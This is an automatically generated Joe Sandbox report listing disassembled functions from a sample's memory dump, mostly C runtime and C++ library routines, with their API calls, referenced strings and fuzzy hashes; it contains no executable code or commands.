Instruction ID: d7e5c20807b752e84cfb38aa38005fc8f0db06a3247116612e1cdd3f1634fb96
Opcode Fuzzy Hash: af9e8698922801afd17005e7bc4b5bf8db5777f8375cf08331c553d77305a8b0
Instruction Fuzzy Hash: A131E431A00224EBCB14EF54E941BAE7364EB11324F8002AFE81163391DBB96E04CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00419400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041942D
std::_Lockit::_Lockit.LIBCPMT ref: 00419450
std::bad_exception::bad_exception.LIBCMT ref: 004194D4
__CxxThrowException@8.LIBCMT ref: 004194E2
std::_Lockit::_Lockit.LIBCPMT ref: 004194F5
std::locale::facet::_Facet_Register.LIBCPMT ref: 0041950F

Strings

bad cast, xrefs: 004194CC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 9490d0c3c6e0fdafb6b4942a4329826e137d90dc773c1df0b645f5ed06f9be8f
Instruction ID: 0ae4cf70f7cfb56fbb855f70300b57daa47ac1187c42ac670bc19e185a120a3f
Opcode Fuzzy Hash: 9490d0c3c6e0fdafb6b4942a4329826e137d90dc773c1df0b645f5ed06f9be8f
Instruction Fuzzy Hash: F331F331A00214DFCB24DF54D951BEE73B4EB11324F50026FE816A7391EB39AD85CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00414940 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 42stringnetworkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041495F
_memset.LIBCMT ref: 0041496C
lstrlen.KERNEL32(00000000,10000000,?,?,?,?,?,?,00000000), ref: 00414992
InternetCrackUrlA.WININET(00000000,00000000), ref: 0041499A

Strings

<, xrefs: 00414981
http, xrefs: 004149A8
@, xrefs: 0041498B

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memset$CrackInternetlstrlen
String ID: <$@$http
API String ID: 3332450456-26727890
Opcode ID: df1f495bd4f5f5323bfd084244d5468b3517fa1c4d2532c0337ded87864fa0dc
Instruction ID: cd387a9b360ed806f85c0ae7788a423661fd2036ef7ed07bd0c7f71955a0db8f
Opcode Fuzzy Hash: df1f495bd4f5f5323bfd084244d5468b3517fa1c4d2532c0337ded87864fa0dc
Instruction Fuzzy Hash: 1E016C71A10218ABEB10DFA5DC45FED77BCEF08304F90401DFA04A7141DB7465158BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A850 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(043B4558,1A5A77C2,?,043B4558,00000000,?,?,?,?,?,?,?,?,?,?,0041C7F3), ref: 0041A8B8
lstrlen.KERNEL32(043B4558,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041C7F3), ref: 0041A912
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0041A923
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041C7F3), ref: 0041A92A
_strcpy_s.LIBCMT ref: 0041A968

Strings

0123456789ABCDEF, xrefs: 0041A87E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heaplstrlen$AllocProcess_strcpy_s
String ID: 0123456789ABCDEF
API String ID: 3087150108-2554083253
Opcode ID: 930a1d61e475748a683d2e5e739e3b9cb085b96d55897ee369e323eac60d376a
Instruction ID: 863460dd071bf0dfaa46ab90999f93423d0257da46f9c5f95b44d52fbfdfd68a
Opcode Fuzzy Hash: 930a1d61e475748a683d2e5e739e3b9cb085b96d55897ee369e323eac60d376a
Instruction Fuzzy Hash: 5941D2B1A012199FCB04DFA5DC85AAEBBB8FF49314F00453AE815E7380EB349901CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00421730 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 109COMMON

Download Yara Rule

APIs

_localeconv.LIBCMT ref: 00421760

Part of subcall function 0042D373: __getptd.LIBCMT ref: 0042D373

Strings

update.zip, xrefs: 0042179C
true, xrefs: 004217EC
,, xrefs: 00421840
false, xrefs: 004217C2
., xrefs: 00421837

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __getptd_localeconv
String ID: ,$.$false$true$update.zip
API String ID: 1421026308-311135191
Opcode ID: beba436514b8ab498b4ea1555b532393b4e4edc834167d2aa5b41e659c358c2f
Instruction ID: ea45553033b6b29cbc943f828c7ff1b12cfdc427dc62437e51da2fba668affbe
Opcode Fuzzy Hash: beba436514b8ab498b4ea1555b532393b4e4edc834167d2aa5b41e659c358c2f
Instruction Fuzzy Hash: 3E312B75E086A08BC7059F29A481657BBE0DF9A314F5880AFDC868F313D639C905C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 004222B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004222C6

Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A052
Part of subcall function 0042A03D: __CxxThrowException@8.LIBCMT ref: 0042A067
Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A078

std::_Xinvalid_argument.LIBCPMT ref: 004222DC
std::_Xinvalid_argument.LIBCPMT ref: 004222F7
_memmove.LIBCMT ref: 00422362

Strings

string too long, xrefs: 004222D7, 004222F2
invalid string position, xrefs: 004222C1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 88b9c4968dcbd56743fcfa8f2f6e501c53511220b035ce5b6ef84c7338fffa86
Instruction ID: 9b76c86a5995f8b76314f19f52b15fd557a8dbd5a020619742912738c253a597
Opcode Fuzzy Hash: 88b9c4968dcbd56743fcfa8f2f6e501c53511220b035ce5b6ef84c7338fffa86
Instruction Fuzzy Hash: E531EC313006206BD725DE6CFA80A5EF395EB95720B90051FF855C7691C7BD9C0583AD

Uniqueness

Uniqueness Score: -1.00%

Function 00405170 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405189

Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A052
Part of subcall function 0042A03D: __CxxThrowException@8.LIBCMT ref: 0042A067
Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A078

std::_Xinvalid_argument.LIBCPMT ref: 004051AA
std::_Xinvalid_argument.LIBCPMT ref: 004051C5
_memmove.LIBCMT ref: 0040522D

Strings

string too long, xrefs: 004051A5, 004051C0
invalid string position, xrefs: 00405184

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: ecf08de5d45694ac5c3b9b4258d00e5c82a3c7c351e49c626761e6a67dc9d1e0
Instruction ID: 2143285a86c61cc67c44730c8d67865c2973870113fdf7747c52f719a7de6881
Opcode Fuzzy Hash: ecf08de5d45694ac5c3b9b4258d00e5c82a3c7c351e49c626761e6a67dc9d1e0
Instruction Fuzzy Hash: CC31C232700A149BD7249E9CF980B2BF3A5EFA1724B200A7FE552DB6C1D775DC408B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F050 Relevance: 10.6, APIs: 7, Instructions: 76COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000000,0040DAD8,?,00000010,?,?,0040DAD8), ref: 0041F06F
GetLastError.KERNEL32(?,00000010,?,?,0040DAD8), ref: 0041F080
_free.LIBCMT ref: 0041F090

Part of subcall function 0042AD2D: RtlFreeHeap.NTDLL(00000000,00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD43
Part of subcall function 0042AD2D: GetLastError.KERNEL32(00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD55

_malloc.LIBCMT ref: 0041F09C
GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000000,0040DAD8,?,?,0040DAD8), ref: 0041F0B4
_free.LIBCMT ref: 0041F0DD
_free.LIBCMT ref: 0041F0F4

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _free$ErrorInformationLastLogicalProcessor$FreeHeap_malloc
String ID:
API String ID: 1407183230-0
Opcode ID: fd7e7ae0b566f91daaac07ce5133f1cb98ce2d76280a77eff63faf72b0d3c809
Instruction ID: 06af835b8c802d86f0808d60f11c9075b76b96fb0e04a2ceae6630851b133669
Opcode Fuzzy Hash: fd7e7ae0b566f91daaac07ce5133f1cb98ce2d76280a77eff63faf72b0d3c809
Instruction Fuzzy Hash: B6115C71E01228A7D720DB95AC417EF7B64EF45715F14417AEC09D3302EB398E9A82DA

Uniqueness

Uniqueness Score: -1.00%

Function 0042C20B Relevance: 10.6, APIs: 7, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(00468380,00446F58,?,?,?,0042C30F,?,004531D0,0000000C,0042C33B,?,?,0042B7E5,004407A1,?), ref: 0042C220
DecodePointer.KERNEL32(?,?,0042C30F,?,004531D0,0000000C,0042C33B,?,?,0042B7E5,004407A1,?), ref: 0042C22D
__realloc_crt.LIBCMT ref: 0042C26A
__realloc_crt.LIBCMT ref: 0042C280
EncodePointer.KERNEL32(00000000,?,?,0042C30F,?,004531D0,0000000C,0042C33B,?,?,0042B7E5,004407A1,?), ref: 0042C292
EncodePointer.KERNEL32(?,?,?,0042C30F,?,004531D0,0000000C,0042C33B,?,?,0042B7E5,004407A1,?), ref: 0042C2A6
EncodePointer.KERNEL32(-00000004,?,?,0042C30F,?,004531D0,0000000C,0042C33B,?,?,0042B7E5,004407A1,?), ref: 0042C2AE

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Pointer$Encode$Decode__realloc_crt
String ID:
API String ID: 4108716018-0
Opcode ID: c56ce0148391ff9b358ddabd937e6fed34ce332734add06375950c5eba364ab1
Instruction ID: d5a3e3fe5555f8351484a25b0ee35423e97d57b469405c743ce7fb65f3dd5262
Opcode Fuzzy Hash: c56ce0148391ff9b358ddabd937e6fed34ce332734add06375950c5eba364ab1
Instruction Fuzzy Hash: 17117572B00125EBDB105FA5FDC095E77DDEB45320751047BE405D3260EAB5EC448AA8

Uniqueness

Uniqueness Score: -1.00%

Function 004187E0 Relevance: 10.6, APIs: 7, Instructions: 64COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 00418804

Part of subcall function 0042B801: RaiseException.KERNEL32(?,?,0042B800,?,?,?,?,?,0042B800,?,004512B8,00468380), ref: 0042B843

std::exception::exception.LIBCMT ref: 00418828
__CxxThrowException@8.LIBCMT ref: 00418843
std::exception::exception.LIBCMT ref: 00418862
__CxxThrowException@8.LIBCMT ref: 0041887D
std::exception::exception.LIBCMT ref: 00418897
__CxxThrowException@8.LIBCMT ref: 004188B2

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$std::exception::exception$ExceptionRaise
String ID:
API String ID: 4237746311-0
Opcode ID: 97f333b35f7fe1171f119831f6dedc89274eb1eecab619f368e73a4c41390dd9
Instruction ID: af5c81dd095f4ad234fb2675ba14783493380df4a01cc20caec41e096f5646a1
Opcode Fuzzy Hash: 97f333b35f7fe1171f119831f6dedc89274eb1eecab619f368e73a4c41390dd9
Instruction Fuzzy Hash: 31215EB1900218AADB00EF95D5527EEB7F8AF44354F64C00FF905A7241DB785A44CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00431711 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00453558,00000008,00431819,00000000,00000000,?,?,0042EF96,0042AD22,?,?,0042B7A0,?), ref: 00431722
__lock.LIBCMT ref: 00431756

Part of subcall function 004332BE: __mtinitlocknum.LIBCMT ref: 004332D4
Part of subcall function 004332BE: __amsg_exit.LIBCMT ref: 004332E0
Part of subcall function 004332BE: EnterCriticalSection.KERNEL32(0042B7A0,0042B7A0,?,0043175B,0000000D), ref: 004332E8

InterlockedIncrement.KERNEL32(08458B20), ref: 00431763
__lock.LIBCMT ref: 00431777
___addlocaleref.LIBCMT ref: 00431795

Strings

KERNEL32.DLL, xrefs: 0043171D

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 2941bb3a6a8fa506c73b89c07425b24217ee0ae1bb4b0a204661af9cc6b090dc
Instruction ID: cbdea7f818c3da55e3b49cf4d1cfce9320ec4b67651e817fc2f95aa082b04dfb
Opcode Fuzzy Hash: 2941bb3a6a8fa506c73b89c07425b24217ee0ae1bb4b0a204661af9cc6b090dc
Instruction Fuzzy Hash: 3F016171800B00DBE720AF66D90570ABBE0AF04325F10954FE896577E1CBB8A684CB19

Uniqueness

Uniqueness Score: -1.00%

Function 0042F32E Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0042F356

Part of subcall function 0042BB3A: __getptd.LIBCMT ref: 0042BB48
Part of subcall function 0042BB3A: __getptd.LIBCMT ref: 0042BB56

__getptd.LIBCMT ref: 0042F360

Part of subcall function 0043183E: __getptd_noexit.LIBCMT ref: 00431841
Part of subcall function 0043183E: __amsg_exit.LIBCMT ref: 0043184E

__getptd.LIBCMT ref: 0042F36E
__getptd.LIBCMT ref: 0042F37C
__getptd.LIBCMT ref: 0042F387
_CallCatchBlock2.LIBCMT ref: 0042F3AD

Part of subcall function 0042BBDF: __CallSettingFrame@12.LIBCMT ref: 0042BC2B

Part of subcall function 0042F454: __getptd.LIBCMT ref: 0042F463
Part of subcall function 0042F454: __getptd.LIBCMT ref: 0042F471

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 0ca7342fc9399e3f257bd2288bb9a9fd2a5ebd70fa764f625e02d58f44422bca
Instruction ID: 5531cf4c8e57f6d1eca385e40c4fdc77525afbee8c209752c3d77d904ceb2082
Opcode Fuzzy Hash: 0ca7342fc9399e3f257bd2288bb9a9fd2a5ebd70fa764f625e02d58f44422bca
Instruction Fuzzy Hash: 601126B1D00209DFDB00EFA5D446AAEBBB0FF08318F50946AF814AB251DB789A15DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00405530 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040554A

Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A052
Part of subcall function 0042A03D: __CxxThrowException@8.LIBCMT ref: 0042A067
Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A078

std::_Xinvalid_argument.LIBCPMT ref: 00405587

Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A005
Part of subcall function 00429FF0: __CxxThrowException@8.LIBCMT ref: 0042A01A
Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A02B

_memmove.LIBCMT ref: 004055E8

Strings

string too long, xrefs: 00405582
invalid string position, xrefs: 00405545

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 7483d012d570eae15fc5e98bf3e47f3f516623adb5c64d6040c7d96549c37062
Instruction ID: 7d441eee1ffec1a732da1992e5ce80a570b29d9d879bb8c0ebfc7f991dc0e917
Opcode Fuzzy Hash: 7483d012d570eae15fc5e98bf3e47f3f516623adb5c64d6040c7d96549c37062
Instruction Fuzzy Hash: 8731C232300A109BD7219A5CEC80A6BF3AAEBA1764B20093FF541DB2C1D676DC4087A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042F6DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0042F6EE

Part of subcall function 0042F649: ___BuildCatchObjectHelper.LIBCMT ref: 0042F67F

_UnwindNestedFrames.LIBCMT ref: 0042F705
___FrameUnwindToState.LIBCMT ref: 0042F713

Strings

csm, xrefs: 0042F6DD
csm, xrefs: 0042F6EA, 0042F6FF, 0042F712, 0042F730, 0042F740

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: fc0b62652721942e2e87e327a48f81adb18bd5cfab80dd8153d6c61b5e5bf2fb
Instruction ID: 10f1140effced12b8525ef3b5b81a1d86c09dee0637d842b5d11f5303eb9d7cb
Opcode Fuzzy Hash: fc0b62652721942e2e87e327a48f81adb18bd5cfab80dd8153d6c61b5e5bf2fb
Instruction Fuzzy Hash: C1012831100129BBCF126F52DC45EAB3F7AFF04344F94403AFD1814221E77A98A6DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004048B0 Relevance: 7.6, APIs: 5, Instructions: 135libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 004048FC
_malloc.LIBCMT ref: 00404938
_memmove.LIBCMT ref: 00404964
_free.LIBCMT ref: 00404973
GetProcAddress.KERNEL32(00000000,?), ref: 004049D8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc_free_malloc_memmove
String ID:
API String ID: 2200627730-0
Opcode ID: ec753292279aaeb8f3b163e5e8f110987cae266b16bc89fd39198cfe310dd352
Instruction ID: 835431ef58c6b58acd1a29a88863c0db091ddabf3259a3b41e5ad20c34eafdef
Opcode Fuzzy Hash: ec753292279aaeb8f3b163e5e8f110987cae266b16bc89fd39198cfe310dd352
Instruction Fuzzy Hash: 954161B1B006059BD714CFA9E9807A6F3E8BB84315F04427ADD0CD7341E735ED209B99

Uniqueness

Uniqueness Score: -1.00%

Function 00427900 Relevance: 7.6, APIs: 5, Instructions: 128timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,00000000,?,?,?,?,?,00429633,?,0040ABE2), ref: 00427953
SetFilePointer.KERNEL32(0040ABE2,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00429633,?), ref: 00427980
GetLocalTime.KERNEL32(?,?,?,?,?,?,00429633,?,0040ABE2), ref: 004279C0
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,00429633,?,0040ABE2), ref: 004279CE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00427A06

Part of subcall function 00427330: GetFileInformationByHandle.KERNEL32(?,?,0040ABE2,?), ref: 0042735F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 89576305-0
Opcode ID: 120a618aa3784fc3b48154aa341472c0e49a092a8c8764914098270cb64e974d
Instruction ID: 51a58f7b6d067241c8a9c63179356a9d474023a9cf8a77160a3754a8662f1e12
Opcode Fuzzy Hash: 120a618aa3784fc3b48154aa341472c0e49a092a8c8764914098270cb64e974d
Instruction Fuzzy Hash: 0F41AEB1A047049FD724DF69D840ABBB7F8FB48314F404A2EE896D3640E675A904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004048EB Relevance: 7.6, APIs: 5, Instructions: 88libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 004048FC
_malloc.LIBCMT ref: 00404938
_memmove.LIBCMT ref: 00404964
_free.LIBCMT ref: 00404973
GetProcAddress.KERNEL32(00000000,?), ref: 004049D8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc_free_malloc_memmove
String ID:
API String ID: 2200627730-0
Opcode ID: dd85287eaa380ad32e04f90522396a609bfbb8a5cba9c199fe83c6900707500e
Instruction ID: 3a47e4c61c10575acc775221e9eb5c43f0c9b5660c3f80c0084b3e1d60a3b61f
Opcode Fuzzy Hash: dd85287eaa380ad32e04f90522396a609bfbb8a5cba9c199fe83c6900707500e
Instruction Fuzzy Hash: B5316BF5B00602EBD714CFB9D9806A7B3A4BF85309F14417ADD09AB341E739EC208B99

Uniqueness

Uniqueness Score: -1.00%

Function 0042C41E Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0042C42C

Part of subcall function 0042AC99: __FF_MSGBANNER.LIBCMT ref: 0042ACB2
Part of subcall function 0042AC99: __NMSG_WRITE.LIBCMT ref: 0042ACB9
Part of subcall function 0042AC99: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,0042B7A0,?), ref: 0042ACDE

_free.LIBCMT ref: 0042C43F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ab324dad9ade69c985cc52a9febdce9ee816665423b094648af3ac9f6e7c92a7
Instruction ID: 25b9639d26fd76ae99697330bd99c352fef61fafec4697addaa274345777259e
Opcode Fuzzy Hash: ab324dad9ade69c985cc52a9febdce9ee816665423b094648af3ac9f6e7c92a7
Instruction Fuzzy Hash: D111EB327446317BCB217F76BC5466F3B949F543A4BA1453BF988CB251DE3C8880869D

Uniqueness

Uniqueness Score: -1.00%

Function 00419060 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00419092

Part of subcall function 0042A468: _setlocale.LIBCMT ref: 0042A47A

_free.LIBCMT ref: 004190A4

Part of subcall function 0042AD2D: RtlFreeHeap.NTDLL(00000000,00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD43
Part of subcall function 0042AD2D: GetLastError.KERNEL32(00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD55

_free.LIBCMT ref: 004190B7
_free.LIBCMT ref: 004190CA
_free.LIBCMT ref: 004190DD

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

